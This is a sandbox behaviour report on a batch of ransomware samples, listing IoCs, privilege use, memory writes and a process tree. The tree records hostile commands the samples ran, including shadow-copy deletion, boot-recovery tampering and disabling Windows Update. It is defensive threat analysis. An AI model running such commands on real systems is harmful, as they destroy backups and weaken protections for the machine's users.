Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	bmlplan.exe

Runs .reg file with regedit 2 IoCs

pid	Process
8272	regedit.exe
10360	regedit.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
5016	powershell.exe
5016	powershell.exe
5016	powershell.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3648	7zFM.exe
836	taskmgr.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
380	HPXmmgLUSavYuccxma5.exe
1836	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
1836	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	3648	7zFM.exe
Token: 35	3648	7zFM.exe
Token: SeSecurityPrivilege	3648	7zFM.exe
Token: SeDebugPrivilege	1672	taskmgr.exe
Token: SeSystemProfilePrivilege	1672	taskmgr.exe
Token: SeCreateGlobalPrivilege	1672	taskmgr.exe
Token: SeDebugPrivilege	836	taskmgr.exe
Token: SeSystemProfilePrivilege	836	taskmgr.exe
Token: SeCreateGlobalPrivilege	836	taskmgr.exe
Token: 33	1672	taskmgr.exe
Token: SeIncBasePriorityPrivilege	1672	taskmgr.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeDebugPrivilege	4104	HEUR-Trojan-Ransom.MSIL.Blocker.gen-481e96139f87e511669b713d5810b18682d9914699cc4f1f51f71ec12523bfa8.exe
Token: SeDebugPrivilege	5096	Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
Token: 33	5096	Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
Token: SeIncBasePriorityPrivilege	5096	Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
Token: SeDebugPrivilege	3264	mmkt.exe
Token: SeIncreaseQuotaPrivilege	5388	wmic.exe
Token: SeSecurityPrivilege	5388	wmic.exe
Token: SeTakeOwnershipPrivilege	5388	wmic.exe
Token: SeLoadDriverPrivilege	5388	wmic.exe
Token: SeSystemProfilePrivilege	5388	wmic.exe
Token: SeSystemtimePrivilege	5388	wmic.exe
Token: SeProfSingleProcessPrivilege	5388	wmic.exe
Token: SeIncBasePriorityPrivilege	5388	wmic.exe
Token: SeCreatePagefilePrivilege	5388	wmic.exe
Token: SeBackupPrivilege	5388	wmic.exe
Token: SeRestorePrivilege	5388	wmic.exe
Token: SeShutdownPrivilege	5388	wmic.exe
Token: SeDebugPrivilege	5388	wmic.exe
Token: SeSystemEnvironmentPrivilege	5388	wmic.exe
Token: SeRemoteShutdownPrivilege	5388	wmic.exe
Token: SeUndockPrivilege	5388	wmic.exe
Token: SeManageVolumePrivilege	5388	wmic.exe
Token: 33	5388	wmic.exe
Token: 34	5388	wmic.exe
Token: 35	5388	wmic.exe
Token: 36	5388	wmic.exe
Token: SeDebugPrivilege	380	HPXmmgLUSavYuccxma5.exe
Token: SeIncreaseQuotaPrivilege	5388	wmic.exe
Token: SeSecurityPrivilege	5388	wmic.exe
Token: SeTakeOwnershipPrivilege	5388	wmic.exe
Token: SeLoadDriverPrivilege	5388	wmic.exe
Token: SeSystemProfilePrivilege	5388	wmic.exe
Token: SeSystemtimePrivilege	5388	wmic.exe
Token: SeProfSingleProcessPrivilege	5388	wmic.exe
Token: SeIncBasePriorityPrivilege	5388	wmic.exe
Token: SeCreatePagefilePrivilege	5388	wmic.exe
Token: SeBackupPrivilege	5388	wmic.exe
Token: SeRestorePrivilege	5388	wmic.exe
Token: SeShutdownPrivilege	5388	wmic.exe
Token: SeDebugPrivilege	5388	wmic.exe
Token: SeSystemEnvironmentPrivilege	5388	wmic.exe
Token: SeRemoteShutdownPrivilege	5388	wmic.exe
Token: SeUndockPrivilege	5388	wmic.exe
Token: SeManageVolumePrivilege	5388	wmic.exe
Token: 33	5388	wmic.exe
Token: 34	5388	wmic.exe
Token: 35	5388	wmic.exe
Token: 36	5388	wmic.exe
Token: SeBackupPrivilege	5592	vssvc.exe
Token: SeRestorePrivilege	5592	vssvc.exe
Token: SeAuditPrivilege	5592	vssvc.exe
Token: SeDebugPrivilege	5656	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3648	7zFM.exe
3648	7zFM.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
1672	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe
836	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1808	tpvpyme.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 836	1672	taskmgr.exe	97
PID 1672 wrote to memory of 836	1672	taskmgr.exe	97
PID 5016 wrote to memory of 1204	5016	powershell.exe	103
PID 5016 wrote to memory of 1204	5016	powershell.exe	103
PID 1204 wrote to memory of 4104	1204	cmd.exe	104
PID 1204 wrote to memory of 4104	1204	cmd.exe	104
PID 1204 wrote to memory of 4104	1204	cmd.exe	104
PID 1204 wrote to memory of 2272	1204	cmd.exe	105
PID 1204 wrote to memory of 2272	1204	cmd.exe	105
PID 1204 wrote to memory of 2272	1204	cmd.exe	105
PID 1204 wrote to memory of 4700	1204	cmd.exe	106
PID 1204 wrote to memory of 4700	1204	cmd.exe	106
PID 1204 wrote to memory of 4700	1204	cmd.exe	106
PID 1204 wrote to memory of 2424	1204	cmd.exe	107
PID 1204 wrote to memory of 2424	1204	cmd.exe	107
PID 1204 wrote to memory of 2424	1204	cmd.exe	107
PID 1204 wrote to memory of 1836	1204	cmd.exe	108
PID 1204 wrote to memory of 1836	1204	cmd.exe	108
PID 1204 wrote to memory of 1836	1204	cmd.exe	108
PID 4700 wrote to memory of 4476	4700	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe	109
PID 4700 wrote to memory of 4476	4700	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe	109
PID 4700 wrote to memory of 4476	4700	HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe	109
PID 1204 wrote to memory of 752	1204	cmd.exe	111
PID 1204 wrote to memory of 752	1204	cmd.exe	111
PID 1204 wrote to memory of 752	1204	cmd.exe	111
PID 2272 wrote to memory of 1808	2272	HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe	112
PID 2272 wrote to memory of 1808	2272	HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe	112
PID 2272 wrote to memory of 1808	2272	HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe	112
PID 1204 wrote to memory of 5096	1204	cmd.exe	113
PID 1204 wrote to memory of 5096	1204	cmd.exe	113
PID 1204 wrote to memory of 5096	1204	cmd.exe	113
PID 1204 wrote to memory of 1948	1204	cmd.exe	114
PID 1204 wrote to memory of 1948	1204	cmd.exe	114
PID 1204 wrote to memory of 1948	1204	cmd.exe	114
PID 1204 wrote to memory of 2224	1204	cmd.exe	115
PID 1204 wrote to memory of 2224	1204	cmd.exe	115
PID 1204 wrote to memory of 2224	1204	cmd.exe	115
PID 1204 wrote to memory of 4300	1204	cmd.exe	116
PID 1204 wrote to memory of 4300	1204	cmd.exe	116
PID 1204 wrote to memory of 4300	1204	cmd.exe	116
PID 2224 wrote to memory of 380	2224	Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe	117
PID 2224 wrote to memory of 380	2224	Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe	117
PID 2224 wrote to memory of 380	2224	Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe	117
PID 380 wrote to memory of 3796	380	HPXmmgLUSavYuccxma5.exe	118
PID 380 wrote to memory of 3796	380	HPXmmgLUSavYuccxma5.exe	118
PID 380 wrote to memory of 3796	380	HPXmmgLUSavYuccxma5.exe	118
PID 1204 wrote to memory of 3164	1204	cmd.exe	120
PID 1204 wrote to memory of 3164	1204	cmd.exe	120
PID 1204 wrote to memory of 3164	1204	cmd.exe	120
PID 3796 wrote to memory of 1784	3796	csc.exe	121
PID 3796 wrote to memory of 1784	3796	csc.exe	121
PID 3796 wrote to memory of 1784	3796	csc.exe	121
PID 3164 wrote to memory of 3264	3164	Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe	122
PID 3164 wrote to memory of 3264	3164	Trojan-Ransom.Win32.CryFile.zzl-d781d8a94e02093ccdb2e4b698582b3a1ea42b154829794b430f649fe12870f2.exe	122
PID 380 wrote to memory of 2476	380	HPXmmgLUSavYuccxma5.exe	136
PID 380 wrote to memory of 2476	380	HPXmmgLUSavYuccxma5.exe	136
PID 380 wrote to memory of 2476	380	HPXmmgLUSavYuccxma5.exe	136
PID 1204 wrote to memory of 2636	1204	cmd.exe	126
PID 1204 wrote to memory of 2636	1204	cmd.exe	126
PID 1204 wrote to memory of 2636	1204	cmd.exe	126
PID 2476 wrote to memory of 1032	2476	csc.exe	127
PID 2476 wrote to memory of 1032	2476	csc.exe	127
PID 2476 wrote to memory of 1032	2476	csc.exe	127
PID 1204 wrote to memory of 2712	1204	cmd.exe	128

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00379.7z"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3648

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /1
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5016
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.MSIL.Blocker.gen-481e96139f87e511669b713d5810b18682d9914699cc4f1f51f71ec12523bfa8.exe
    HEUR-Trojan-Ransom.MSIL.Blocker.gen-481e96139f87e511669b713d5810b18682d9914699cc4f1f51f71ec12523bfa8.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c, "C:\Users\Admin\AppData\Roaming\bhjgfds.exe"
      4⤵
      PID:8920
    - - C:\Users\Admin\AppData\Roaming\bhjgfds.exe
        
        "C:\Users\Admin\AppData\Roaming\bhjgfds.exe"
        5⤵
        
        PID:9408
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:5460
- - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe
    HEUR-Trojan-Ransom.Win32.Blocker.vho-5caad423df6fcb87b21006eabe45e3cb5dae1a5dba8f3b0c1a9e6ca0af350666.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\Users\Admin\Desktop\00379\tpvpyme.exe
      "C:\Users\Admin\Desktop\00379\tpvpyme.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1808
    - - C:\Windows\splwow64.exe
        
        C:\Windows\splwow64.exe 12288
        5⤵
        
        PID:10072
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00379\USB_Habilitar.bat" "
        5⤵
        
        PID:12232
      - C:\Windows\SysWOW64\regedit.exe
        
        REGEDIT /S "C:\Users\Admin\Desktop\00379\USB_habilitar.reg
        6⤵
        Runs .reg file with regedit
        
        PID:10360
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00379\windowsUpdate.bat" "
        5⤵
        
        PID:10380
      - C:\Windows\SysWOW64\regedit.exe
        
        REGEDIT /S "C:\Users\Admin\Desktop\00379\windowsUpdate.reg
        6⤵
        Runs .reg file with regedit
        
        PID:8272
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        
        PID:4164
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update /v AUOptions /t REG_DWORD /d 1 /f
        5⤵
        
        PID:1112
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
        5⤵
        
        PID:10956
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:7392
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net stop wuauserv
        5⤵
        
        PID:4184
      - C:\Windows\SysWOW64\net.exe
        
        net stop wuauserv
        6⤵
        
        PID:10704
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        7⤵
        
        PID:3524
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
        5⤵
        
        PID:12276
      - C:\Windows\SysWOW64\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
        6⤵
        
        PID:6512
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cmd /C reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\ /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
        5⤵
        
        PID:9884
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\ /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
        6⤵
        
        PID:7684
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\ /v NoDriveTypeAutoRun /t REG_DWORD /d 255 /f
        7⤵
        
        PID:6116
- - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
    HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Cryptor.gen-eb135d0764932501b0122620e2b7a7ca5b56786d1a937871372ae989609cc3f8.exe
      --9aefb4b4
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4476
- - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
    HEUR-Trojan-Ransom.Win32.Encoder.gen-e9e23726b4a7451ba5eefc9ec90c1ea897046bde4ed13de419d9dace59f6dabc.exe
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Enumerates connected drives
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:2424
  - - C:\Windows\SysWOW64\wbem\wmic.exe
      "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5388
- - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
    HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:1836
  - - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
      HEUR-Trojan-Ransom.Win32.Gen.gen-70cb325da7e54f302dd59c22effc1cb651f270c72b1323fda2331c6acf07dca8.exe
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:5656
- - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Generic-c85c16d46f7830ad5afc138282399bb1de7b71e67d516e7c76973c54d187d906.exe
    HEUR-Trojan-Ransom.Win32.Generic-c85c16d46f7830ad5afc138282399bb1de7b71e67d516e7c76973c54d187d906.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:752
  - - C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Generic-c85c16d46f7830ad5afc138282399bb1de7b71e67d516e7c76973c54d187d906.exe
      "C:\Users\Admin\Desktop\00379\HEUR-Trojan-Ransom.Win32.Generic-c85c16d46f7830ad5afc138282399bb1de7b71e67d516e7c76973c54d187d906.exe"
      4⤵
      PID:11036
    - - C:\Users\Admin\AppData\Local\Temp\server.exe
        
        "C:\Users\Admin\AppData\Local\Temp\server.exe"
        5⤵
        
        PID:7372
      - C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        6⤵
        
        PID:3808
        
        C:\Windows\InstallDir\Server.exe
        
        "C:\Windows\InstallDir\Server.exe"
        7⤵
        
        PID:11988
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        8⤵
        
        PID:2292
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:10080
        
        C:\Users\Admin\AppData\Local\Temp\384ngoiu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\384ngoiu.exe"
        8⤵
        
        PID:7788
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:11140
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:10956
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:11792
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:11796
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:10860
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:8388
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:8516
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:8588
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:12100
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:6772
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        6⤵
        
        PID:8340
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:11284
      - C:\Users\Admin\AppData\Local\Temp\384ngoiu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\384ngoiu.exe"
        6⤵
        
        PID:11588
        
        C:\Users\Admin\AppData\Local\Temp\384ngoiu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\384ngoiu.exe"
        7⤵
        
        PID:10644
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
    Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5096
  - - C:\Users\Admin\Desktop\00379\Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe
      "Trojan-Ransom.MSIL.GandCrypt.f-5517c81c33300ed1d8771752b2ce39b47461c1246ecde81393df552a0b445e58.exe"
      4⤵
      PID:23380
    - - C:\Windows\SysWOW64\wbem\wmic.exe
        
        "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
        5⤵
        
        PID:28420
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5096 -s 1052
      4⤵
      PID:2436
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Blocker.jiqg-ebcb76212a57b469c83b1893f3b22c4199e8726495b057e2c45b3ce146f8d4cc.exe
    Trojan-Ransom.Win32.Blocker.jiqg-ebcb76212a57b469c83b1893f3b22c4199e8726495b057e2c45b3ce146f8d4cc.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1948
  - - C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe
      4⤵
      Modifies Windows Defender Real-time Protection settings
      UAC bypass
      Adds policy Run key to start application
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer Phishing Filter
      PID:3548
- - C:\Users\Admin\Desktop\00379\Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe
    Trojan-Ransom.Win32.Blocker.mmug-b008c96b1ba6c13c4e922202baad57e199d9dee32a97a1443548c8a0ca303492.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
